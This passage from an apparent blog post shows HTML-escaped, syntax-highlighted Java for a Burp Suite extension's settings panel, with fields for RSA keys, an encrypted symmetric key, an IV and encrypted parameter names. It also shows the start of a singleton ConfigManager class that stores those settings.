&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;        addLabel&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;Encrypted IV (Base64):&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, gbc, row);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;        JTextArea&lt;&#x2F;span&gt;&lt;span&gt; encIvField&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; addTextArea&lt;&#x2F;span&gt;&lt;span&gt;(config.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;getEncryptedIvB64&lt;&#x2F;span&gt;&lt;span&gt;(), gbc, row&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;        addLabel&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;Request Enc Parameter:&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, gbc, row);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;        JTextField&lt;&#x2F;span&gt;&lt;span&gt; reqParamField&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; = new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; JTextField&lt;&#x2F;span&gt;&lt;span&gt;(config.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;getEncParamReq&lt;&#x2F;span&gt;&lt;span&gt;(),&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 20&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        gbc.gridx&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;; gbc.gridy&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; row&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        panel.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;add&lt;&#x2F;span&gt;&lt;span&gt;(reqParamField, gbc);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;        addLabel&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;Response Enc Parameter:&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, gbc, row);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;        JTextField&lt;&#x2F;span&gt;&lt;span&gt; respParamField&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; = new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; JTextField&lt;&#x2F;span&gt;&lt;span&gt;(config.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;getEncParamResp&lt;&#x2F;span&gt;&lt;span&gt;(),&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 20&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        gbc.gridx&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;; gbc.gridy&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; row&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        panel.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;add&lt;&#x2F;span&gt;&lt;span&gt;(respParamField, gbc);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;        JButton&lt;&#x2F;span&gt;&lt;span&gt; saveButton&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; = new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; JButton&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;Save Configuration&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        saveButton.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;addActionListener&lt;&#x2F;span&gt;&lt;span&gt;(e &lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;-&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            config.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;setPrivateKeyB64&lt;&#x2F;span&gt;&lt;span&gt;(privateKeyField.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;getText&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;trim&lt;&#x2F;span&gt;&lt;span&gt;());&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            config.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;setPublicKeyB64&lt;&#x2F;span&gt;&lt;span&gt;(publicKeyField.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;getText&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;trim&lt;&#x2F;span&gt;&lt;span&gt;());&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            config.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;setEncryptedSymmetricKeyB64&lt;&#x2F;span&gt;&lt;span&gt;(encSymKeyField.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;getText&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;trim&lt;&#x2F;span&gt;&lt;span&gt;());&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            config.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;setEncryptedIvB64&lt;&#x2F;span&gt;&lt;span&gt;(encIvField.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;getText&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;trim&lt;&#x2F;span&gt;&lt;span&gt;());&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            config.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;setEncParamReq&lt;&#x2F;span&gt;&lt;span&gt;(reqParamField.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;getText&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;trim&lt;&#x2F;span&gt;&lt;span&gt;());&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            config.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;setEncParamResp&lt;&#x2F;span&gt;&lt;span&gt;(respParamField.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;getText&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;trim&lt;&#x2F;span&gt;&lt;span&gt;());&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            montoya.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;logging&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;logToOutput&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;[+] Configuration saved successfully&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            JOptionPane.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;showMessageDialog&lt;&#x2F;span&gt;&lt;span&gt;(panel,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;Configuration saved!&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        });&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        gbc.gridx&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;; gbc.gridy&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; row;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        panel.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;add&lt;&#x2F;span&gt;&lt;span&gt;(saveButton, gbc);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    private&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; addLabel&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;String&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; text&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; GridBagConstraints&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; gbc&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; row&lt;&#x2F;span&gt;&lt;span&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        gbc.gridx&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;; gbc.gridy&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; row;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        panel.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;add&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; JLabel&lt;&#x2F;span&gt;&lt;span&gt;(text), gbc);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    private&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; JTextArea&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; addTextArea&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;String&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; defaultValue&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; GridBagConstraints&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; gbc&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; row&lt;&#x2F;span&gt;&lt;span&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;        JTextArea&lt;&#x2F;span&gt;&lt;span&gt; textArea&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; = new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; JTextArea&lt;&#x2F;span&gt;&lt;span&gt;(defaultValue,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 3&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 40&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        textArea.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;setLineWrap&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;true&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;        JScrollPane&lt;&#x2F;span&gt;&lt;span&gt; scrollPane&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; = new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; JScrollPane&lt;&#x2F;span&gt;&lt;span&gt;(textArea);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        gbc.gridx&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;; gbc.gridy&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; row;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        panel.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;add&lt;&#x2F;span&gt;&lt;span&gt;(scrollPane, gbc);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;        return&lt;&#x2F;span&gt;&lt;span&gt; textArea;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; Component&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; getComponent&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;        return&lt;&#x2F;span&gt;&lt;span&gt; panel;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;ConfigManager.java&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;package helpers&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;public class&lt;&#x2F;span&gt;&lt;span style=&quot;color: #000000;background-color: #FFFFFF;&quot;&gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;text-decoration: underline;&quot;&gt;ConfigManager&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    private static&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; ConfigManager&lt;&#x2F;span&gt;&lt;span&gt; instance;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    private&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; privateKeyB64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    private&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; publicKeyB64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    private&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; encryptedSymmetricKeyB64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    private&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; encryptedIvB64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    private&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; encParamReq&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;data&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    private&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; encParamResp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;data&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    private&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; ConfigManager&lt;&#x2F;span&gt;&lt;span&gt;() {}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public static&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; ConfigManager&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; getInstance&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span&gt; (instance &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; null&lt;&#x2F;span&gt;&lt;span&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            instance &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;= new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; ConfigManager&lt;&#x2F;span&gt;&lt;span&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;        return&lt;&#x2F;span&gt;&lt;span&gt; instance;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; getPrivateKeyB64&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; return&lt;&#x2F;span&gt;&lt;span&gt; privateKeyB64; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; getPublicKeyB64&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; return&lt;&#x2F;span&gt;&lt;span&gt; publicKeyB64; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; getEncryptedSymmetricKeyB64&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; return&lt;&#x2F;span&gt;&lt;span&gt; encryptedSymmetricKeyB64; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; getEncryptedIvB64&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; return&lt;&#x2F;span&gt;&lt;span&gt; encryptedIvB64; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
